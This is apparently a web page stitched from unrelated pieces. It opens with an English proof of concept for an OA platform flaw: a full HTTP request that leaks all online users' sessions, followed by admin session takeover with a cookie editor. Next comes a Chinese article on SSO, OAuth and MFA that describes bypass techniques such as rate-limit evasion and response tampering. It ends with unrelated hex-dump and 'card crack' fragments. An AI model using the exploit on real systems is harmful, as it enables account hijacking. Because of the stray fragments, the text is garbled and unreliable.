The program outputs all user login credential information in clear text at the function of displaying the number of online users, so that ordinary users could obtain the login credentials of any user (including administrators), and realize any user login.

Poc

First, deploy the OA platform locally, log in to the platform as a common user “test”, visit the vulnerability URL: http://10.1.39.61:81/index.php?task=getonlinecount&job=getonlinelist, and check the number of online users.

GET /index.php?task=getonlinecount&job=getonlinelist&_dc=1680253910553 HTTP/1.1
Host: 10.1.39.61:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: */*
Referer: http://10.1.39.61:81/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: CNOA_language=cn; CNOAOASESSID=sjivcorn9rs5nco29j6oouo8aj; CNOA_LOGIN_USERNAME=czo0OiJ0ZXN0Ijs%3D; SECKEY_ABVK=fvKxvu1Owfjyuski28xaYtJNWgLovS8q6s/cgvtIssQ%3D; BMAP_SECKEY=W24ZPI7sZJUvlpy4F-eZLidkrtIjUB58fv8OjYlaumjux1cVhti5MB7O7G0nLpGUnEx42w3z2pk5RhAjwp7jOkKxKzo-vnIpSQjDPvPUBsmlU8pMZkSdZlDmUmJ8VGsxnCT5jp3DpD5dood4rte4pXRC1lQDgBKmhebkFFobBoAaqA3gw-K9ekRiqCl5fx0x
Connection: close

It can be clearly seen that the server returns the session information of all online users (including admins), and any user can log in by using tools such as EditThisCookie to replace the corresponding login credentials.

Using the Edit This Cookie extension, replace the current user session with the administrator session: s7q3jlmvf5bs9bt8r2ik8eg92h.

ITDR 未来可期的安全趋势

从SSO说起

SSO在很多企业中落地已经不久了,很多SSO登录方案使用了OAuth作为认证标准,在此之上,为了减少弱口令与内部泄密造成的影响,还会加入MFA作为增强安全措施。这样就能够保证万无一失了吗?

传统框架的缺陷

“都什么年代了 还在用传统认证方式“

在技术不断迭代的当下,还有不少企业选择了传统认证方式。使用者通过B/S或者C/S的框架向后端服务器认证身份,服务器通过一系列流程,验证成功后通过例如JWT/Cookie的机制,在客户端保存用户的登陆凭证。

除了本身机制带来的传统安全问题,比如URL中带密码、撞库、弱口令,还会增加比较大的运维成本。假设企业内部有多套业务系统,其使用人员包括但不限于公司员工,外包人员,供应商,监管机构等。使用的人数与类型越多,其存在的风险点也会与日俱增。而且员工被迫要为多套系统记录多个账号密码,尽管安全意识培训不断,但惰怠和健忘的难免的,就算是专业的安全从业者也不一定能完全做到。使用密码管理器也有风险,今年九月份,知名密码管理器LastPass承认其被黑客攻击。尽管公司在发现攻击行为后已经拼命进行阻止,但是结果令人感到惋惜,黑客依旧突破了封锁,可窃取该公司的源代码和专有技术信息。LastPass随后 发布了一份安全公告,确认黑客是通过访问公司开发人员的账户进行入侵,并取得了可观的信息。

OAuth认证流程

单点登录(Single Sign On)技术的出现在一定程度遏抑了上叙风险,并提供了更好的可用性与用户体验。SSO的实现方式也分多种,有基于Cookie的单点登录,登录子应用时,会带上父应用的Cookie,解密之后校验用户的身份,基于JWT的SSO也不失为一种优秀的解决方案,不过得到广泛应用的认证标准还得是OAuth2。

我们在登录很多站点,比如语雀的时候,经常能看到如图所示的登录框,提供了多种登录方式。这就是OAuth的一个经典场景,当用户点击任何一个平台作为登入方式后,便进入了OAuth的认证流程。

RFC6749中描述了OAuth的授权模型,首先介绍两个比较容易混淆的概念。认证与授权是安全人员用于保护系统的两个重要安全过程,认证负责验证用户或服务的身份,授权决定了他们的访问权限。

Authenticate(v):认证。其重点倾向于“证明”用户具有对应的权限,其行动主体是服务器,验证主体为用户方。

Authorize(v):授权。其重点倾向于”赋予“,用于授予用户或者服务具体的访问级别。

简而言之,一个在授予用户访问权限之前验证用户或者服务的身份,而另一个确认他们在获得访问权限后可以做什么。以语雀使用支付宝为例,当用户点击使用支付宝登录之后,进入以下流程。

这种是最为常见的授权码认证方式,指的是第三方应用先申请一个授权码,然后再用该码获取令牌。

如果用户的应用是纯前端类型,如手机/桌面客户端程序、浏览器插件等,缺少了后端服务器通过授权码来获取Access Token这一步,便称为(授权码)”隐藏式”(Implicit)。

由于是前端直接管理与获取Access Token,并携带Access Token发出请求获得对应资源,因此在安全性上会相对薄弱一点。

如果用户高度信任某个应用,比如内部的堡垒机系统,也可以直接将账号密码信息告知应用,由该应用直接向Authorization Server获取Access Token,整体使用方式与传统方式相同。

如果连前端都没有,直接由应用程序发送请求,一般常见于Machine to Machine的认证过程,则会用到凭证式认证方法,以比较常见的Windows Kerberos/NTLM为例,大致流程如下图。

SSO面临的安全挑战

诚然,SSO能一定程度缓解企业所面临的安全挑战,但它作为一种工具,也存在着一些天然缺陷,接下来主要从漏洞和风控两个层面来分析。

首先是老生常谈的Xss,如果SSO没有对参数做对应的过滤,就会出现跨站脚本的问题。

同理,也会出现SQL注入。

而OAuth的认证过程中会带入Redirection URL,如果对Redirection URL没有作有效校验,SSO的重定向页面便可用于钓鱼。此类漏洞归结于业务如何处理返回的Redirect URL 参数。Paypal之前就爆出过一个SSO重定向漏洞,开发人员可通过开发者账号开发PayPal支付服务组件,之后应用可生成令牌请求并发送到授权服务器,服务器会制定返回参数Redirect URL并作了相关过滤。但是可能出于开发者方便调试,PayPal允许localhost 作为 Redirect URL参数,经过测试发现可以利用类似localhost.mydomain.com的域名来接受返回的Access Token。

攻击者便可从自己的页面中提取 PayPal 返回的支付请求中的认证令牌信息。

Facebook开发平台在运行之初也爆出过越权问题,在开发平台体系中,各个App的App Id实际上是非常好获取的,攻击者如果构造一个恶意App,然后假冒合法高权限App的App Id引导用户进行Scope授权 此时用户一般不太会关注其授权的应用名字,而完成授权后,即可拿到该用户的Access Token。之后Facebook要求开发者导出签名并配置到开放平台,也成为了通用的解决方案。

除此之外,SSO还会引入风控问题。国家网信办发布的《移动互联网应用程序信息服务管理规定》今年8月起施行,要求移动互联网应用程序(APP)按照“后台实名、前台自愿”的原则,对注册用户进行基于移动电话号码等真实身份信息认证。比如说国内很多应用都支持微信作为SSO的登录源,而微信是支持VoIP号码作为绑定号码的,这个地方就会产生一个风控问题,微信采用了其他实名认证机制比如人脸识别,绑定银行卡等所以不依赖绑定号码作为唯一实名制凭证。下面举一个例子:

如图所示,测试微信号绑定了基于Know Roaming的VoIP国外号码。

国内某社交网站,由于风控机制,如果注册号是+86开头,则不允许换绑其他区号的号码。

而此时,在App的登录界面,选择使用微信作为SSO登录方式,登录成功后,在账号管理界面即可看到,绕过了平台的风控机制,此时解绑微信账号,仍可保留VoIP的号码,并可以正常接收登录验证码,并在平台发布内容。

笔者测试了不少国内大型网站,存在类似问题的不在少数。从风控的角度看这个问题,攻击者可以在敏感时间段利用类似风控隐患得以较低成本得在社交媒体发布不当内容,造成舆情影响。随着个人信息保护法和等保的深入推进,类似的风控问题可能将成为热点问题。

MFA 闪亮登场

喜闻乐见的验证码

为了应对SSO所面对的安全挑战,便MFA(多因子认证)作为第二道防线,它要求用户提供两个或以上验证因子才能访问对应资源,MFA是IAM(身份识别与访问管理)的核心组件,有效降低网络攻击成功的可能性。而随着等保2.0的普及,MFA也成为了很多企业业务的标配。目前主流的解决方案有USBKey、FIDO、OTP、指纹、声纹等等,这些MFA要素都可以抽象成三种属性,你所知道的,你拥有的和你是什么。随着机器学习和AI的普及,MFA也变得更加贴心和智能,比如如果你在非常用地点登录某业务,便会触发MFA,而平时只要输入账号密码即可。

提一下日常生活中使用的最多的MFA,短信验证码。不知道各位有没有发现,短信验证码的有效时间一直在缩短,而且越敏感的业务,短信验证码的有效时间越短。参考最近的一起安全事件,某企业疑似泄露4000W短信数据,该公司拥有银行、政府机关、App、第三方支付、电子商务、移动互联网、快速消费品、物流快递等不同类别的客户。是阿里巴巴、支付宝、京东、腾讯、汽车之家、拼多多、百度、中国工商银行、广发银行、小米、华为、广汽集团、沃尔玛、歌华有线、盛大游戏、安心保险等众多知名企业的短信平台服务商。就是短信中有染色数据可以事后追溯,但依然难以遏抑即时的短信验证码泄露问题。不光如此,之前还报道过短信降维打击的攻击手法。攻击者使用“GSM劫持+短信嗅探技术”的手法,便可以嗅探到短信明文,虽然随着技术的进步,比如使用了CMPP协议加上TLS传输,这些隐患的发生概率都在降低,但使用短信作为OTP的终端还是存在风险。

兼容性与安全性

一些规模体量比较大的企业,为了向下兼容,往往会提供全终端支持,其中包括了一些比较冷门的平台,比如S40,BlackBerry,Palm,WAP端等,一些制造业企业甚至会提供PAD端。 向后兼容和前向安全有的时候就在此处爆发矛盾了。

在实际的渗透测试过程中,我们可能会拿到客户一些登录凭证,而使用陌生设备加上陌生IP登录一般会触发SSO平台的风控,而此时这些平时容易忽略的冷门平台就派上用场了。

某次渗透测试过程中,使用获取到的邮箱密码登录客户邮箱系统,显示非常用IP端,禁止登录,使用了伪造XFF头,X-Remote-IP等方式均无果。而后来下载客户专用Windows Phone端邮件客户端,成功登录客户邮箱系统,抓取请求包后使用Burp在浏览器重放,可登录Web端邮箱,绕过MFA机制。

上述案例肯定不是孤例,之前苹果的2FA也爆出过严重漏洞。一位Laxman Muthiyah的安全研究人员证明了,只要你拥有28000个IP的IP池,便可以力破巧,绕过Apple ID的2FA,只需要知道受害者的手机号码,即可接管其Apple ID。漏洞的原理是竞争条件,攻击者利用服务器的竞争条件漏洞并发送多个并发请求来重置密码。苹果为了避免这种竞争条件利用,对可以发送的重置密码的请求数量进行限制。在有限的时间段内,每个号码最多有5次尝试的限制,之后它会阻止该帐户几个小时。然而,攻击者发现从不同的 IP 发送了多个请求以欺骗系统便可绕过机制。

  1. iforgot.apple.com 在全球有6个负载均衡节点——(17.141.5.112、17.32.194.36、17.151.240.33、17.151.240.1、17.32.194.5、17.111.105.243)。
  1. 其中有两个限制,单个号码发送超过五次请求与同时发送超过六个并发Post请求。
  1. 这两个速率限制都特定于苹果服务器 IP,这意味着可以向另一个负载均衡发送请求。
  2. 根据限制,我们可以从单个 IP 地址向 6 个负载均衡地址(6 x 6 = 36)发送多达 36 个请求。
  3. 攻击者构造了一个包含28000IP的IP代理池,演示爆破了特定Apple ID账户。

虽然不是每个人都能构造一个巨大的IP池,不能否认MFA机制中存在的隐患。还有一些更为显而易见的漏洞,比如MFA的响应可预测。举个例子,某应用使用了OTP作为MFA的验证方式,在抓包后发现其验证失败的响应为error,而其认证成果的响应为success。

简单的修改响应,便绕过了形同虚设的MFA。

沙場秋點兵

由以上的案例可以得出一个明显的结论,不安全的MFA机制比没有MFA更加危险。在部署MFA之前,用户/员工可能会比较谨慎地选择强密码,而在MFA落地后,反而更容易选用弱口令。因此有必要评估一下MFA的各个选项,按照上面的思路,同时评估其安全性与实用性。

  • OTP:One-Time Pass,一次动态口令验证,是指计算器系统或其他数字设备上只能使用一次的密码,有效期为只有一次登录会话或交易。一般的静态密码在安全性上容易因为木马与键盘侧录程序等而被窃取,而只要花上相当程度的时间,也有可能被暴力破解。为了解决一般密码容易遭到破解情况,因此开发出一次性密码的解决方案。其载体也比较多样,邮件,短信,纸本文件,App,硬件载具等,其安全性根据载体的不同而变。重点说一下硬件载具,将产生动态密码所需的密钥存放于载具内,避免被中间人攻击或因为行动载具的系统漏洞而被获取密钥。此外,独立载具内置电池模块,因此会有寿命和回收的问题;或是使用由外部供电的载具,经由模拟键盘输入的方式访问密钥,但是此种载具和电脑有实体接触,因此没有与独立载具相同的安全性。
這張圖片的 alt 屬性值為空,它的檔案名稱為 image24.png

优势

  • 解决用户在记忆与保存密码上的困难;
  • 由于密码只能使用一次,且是动态产生,难以预测,可以大为提升使用的安全程度。

劣势

  • 一次性密码多数需要手机号码收取短信;
  • 收取方可能会有延迟或无法收取的问题。
  • 由于设计问题,有可能被完全绕过。
  • CBA:Certificate Based Authenticators,即基于证书的认证。基于非对称加密,安全性较高,可以采用双向认证方式支持。服务器证书可以自己签发也可以由 第三方签发,银行颁发的U-key就属于这种MFA类型。不过弊端是开发成本高,对服务器资源的占用也较大,而且需要安装浏览器插件,有可能出现兼容性问题(仅支持IE浏览器)。
這張圖片的 alt 屬性值為空,它的檔案名稱為 image24.png
這張圖片的 alt 屬性值為空,它的檔案名稱為 image24.png

优势

  • 非对称秘钥加密,安全性能高。

劣势

  • 开发维护成本高,服务器资源消耗较大。
  • 兼容性堪忧,不能做到全平台使用。
  • FIDO:Fast IDentity Online.

FIDO 明日之星

less之风兴起

2019 年,Serverless 就曾被 Gartner 称为最有潜力的云计算技术发展方向,并被赋予是必然性的发展趋势。Serverless 从底层开始变革计算资源的形态,为软件架构设计与应用服务部署带来了新的设计思路。

根据 2022 年 Verizon 数据泄露调查报告,65% 的数据泄露是由凭据滥用引起的,而只有4%是由系统漏洞引起的。82%的内部违规行为都涉及人为因素,包括社会工程攻击、用户错误和数据滥用。而纵向观察近几年的OWASP Top10,可以明显地看到失效的访问控制已经成为最大的一项。为了应对这种情况,企业内部的安全部门或者SOC需要新的工具。在Serverless大规模落地后,以Microsoft,Google等厂商牵头,开始提出Passwordless的概念,今年五月,Apple、Google与Microsoft等众多企业纷纷表示支持FIDO联盟与W3C理事会提出的通用无密码登入标准(common passwordless sign-in standard),希望向消费者提供一致、安全、简单易操作,无须输入密码的系统。

Google指出,比起输入密码与MFA,Passwordless更加安全,为了解决这个痛点,FIDO标准就此诞生,旨在将用户的生物特征(人脸、指纹等)注册成一串钥匙,而每个人只要握有自己的钥匙,就能在各大网站与应用程式中畅通无阻。最初的FIDO 1.0注重硬件载体、无密码认证、本机认证机制,后来升级为FIDO 2.0后,允许浏览器进行秘钥注册与验证,使用重硬件载体与MFA App实现多重验证标准。

同时,微软也在测试无密码验证机制,Windows Hello企业版不仅提供生物辨识与PIN码验证,也结合企业身份辨识服务Azure Active Directory(Azure AD),设计出一套利用数位签证与加密技术进行验证的机制。而Microsoft Authenticator(微软身份验证器)也有提供生物辨识、加入Azure AD,不过它还允许使用者选择手机号码或身分验证App方式进行认证。

秘钥载体

理想很美满,但是仍然需要一个物理载体。目前FIDO2的物理硬件一般是指Yubikey,Google在其高级保护计划中便推荐了Yubikey作为实体秘钥。那么它能做到哪些功能呢?

  • Legacy Keyboard:Yubikey支持长按与短按两个Slot,用于存储用户两个预设好的密码。虽然看起来非常不安全,不过要求接触到物理秘钥。反倒是有人在输入密码的时候看着输更令人担忧。静态密码不安全无非在于,Yubikey 离身后直接被熟人套取密码,但是有两个静态密码,就可以有很多种组合,例如A、B、AB、BA,以及在此基础上添加字符、删减字符,这样可以使得你的主密码更加安全。当然,做了这么多工作,最重要的还是 Yubikey 尽可能的不要离身,这样静态密码才能安全。
這張圖片的 alt 屬性值為空,它的檔案名稱為 image31.png
  • OTP:Yubikey一共支持三种OTP协议,分别是 OTP一次性密码,Challenge-Response 挑战-响应认证,OATH+HOTP 基于 HMAC/时间的两种一次性密码算法。重点讲一下Challenge-Response和TOTP。在支持的网站添加Yubikey作为认证方式后,每次登陆后都会要求提供Response作为MFA的凭证,实际使用中只要触摸一下金属片即可,非常方便。其用两种工作方式,
  • Yubico OTP 模式:在这个模式下,客户端会发送一个 6 字节的挑战码,然后 Yubikey 使用 Yubico OTP 算法来创建一个反馈码,创建过程会用到一些变量字段,所以就算是同一个挑战码,每次创建的也是不同的。
  • HMAC-SHA1 模式:在这个模式下,客户端会发送一个 0-64 字节的挑战码,然后 Yubikey 使用HMAC-SHA1 算法结合一个 20 字节的密钥来创建一个反馈码,创建过程不会用到其它变量字段,所以针对同一个挑战码,每次创建的都是相同的。
這張圖片的 alt 屬性值為空,它的檔案名稱為 image31.png

TOTP比较好理解,和网易将军令类似,是通过 HMAC生成的,其中 timestamp 每 30 秒变化一次,而 sharedSecret 通常通过二维码提供或者已经预编写在了硬件令牌里。

OpenGPG:OpenPGP 是一个用于签名和加密的开放标准。它通过像 PKCS#11 这样的接口,使用存储在智能卡上的私钥来启用 RSA 或 ECC 签名/加密操作。这个应用可以为验证、签名和加密各存一个 PGP 密钥。和 Challenge-Response 触摸策略类似,OpenPGP 应用也可以设置需要接触金属触点来允许一个操作。实际用处也比较客观,我们日常使用可以将SSH私钥存在Yubikey中,并只允许它作为认证方式。

這張圖片的 alt 屬性值為空,它的檔案名稱為 image31.png

FIDO2:在支持FIDO2登录的网站中设置后,便可体验,支持NFC和USB Type C/A两种方式。其优

点在于全平台兼容,目前测试兼容平台有Windows11、MacOS、Linux(Debian&CentOS)、Android、鸿蒙,以及 Google Chrome、Mozilla Firefox、Microsoft Edge和 Apple Safari网络浏览器;也避免了MiMT与钓鱼,比较要接触到硬件秘钥并能提供正确的Pin码不是一件容易事。通过Passwordless,减少了记忆成本与运维成本,也无需额外部署例如插件和Agent之类的客户端,单个设备可绑定多个设备,多个账户。网站的唯一密钥,服务提供商之间不共享密钥,每个网站或应用的密钥都是单独的;由于FIDO2标准由W3C联盟牵头,开发者在适配方面也轻松了许多,网站可以通过简单的 JavaScript API 调用启用 FIDO2。

Reference

百度八秒教育片文件头

Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F

00000000 52 49 46 46 42 B1 1A 00 41 56 49 20 4C 49 53 54 RIFFB? AVI LIST
00000010 C0 00 00 00 68 64 72 6C 61 76 69 68 38 00 00 00 ? hdrlavih8
00000020 85 45 01 00 8E 3B 03 00 00 00 00 00 10 08 00 00 匛 ?
00000030 64 00 00 00 00 00 00 00 01 00 00 00 3E 7C 00 00 d >|
00000040 90 01 00 00 23 01 00 00 00 00 00 00 00 00 00 00 #
00000050 00 00 00 00 00 00 00 00 4C 49 53 54 74 00 00 00 LISTt
00000060 73 74 72 6C 73 74 72 68 38 00 00 00 76 69 64 73 strlstrh8 vids
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000080 01 00 00 00 0C 00 00 00 00 00 00 00 64 00 00 00 d
00000090 3E 7C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >|
000000A0 90 01 23 01 73 74 72 66 28 00 00 00 28 00 00 00 # strf( (
000000B0 90 01 00 00 20 01 00 00 01 00 10 00 43 52 41 4D CRAM
000000C0 5E 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 ^8
000000D0 D8 00 00 00 4A 55 4E 4B 18 ? JUNK

Card crack

Cash:100-10000-2710-1027

Verification:100-10000-0010011100010000-1101100011101111-D8EF-EFD8

e2b71cdegw1exsxaf9y9aj201500qa9t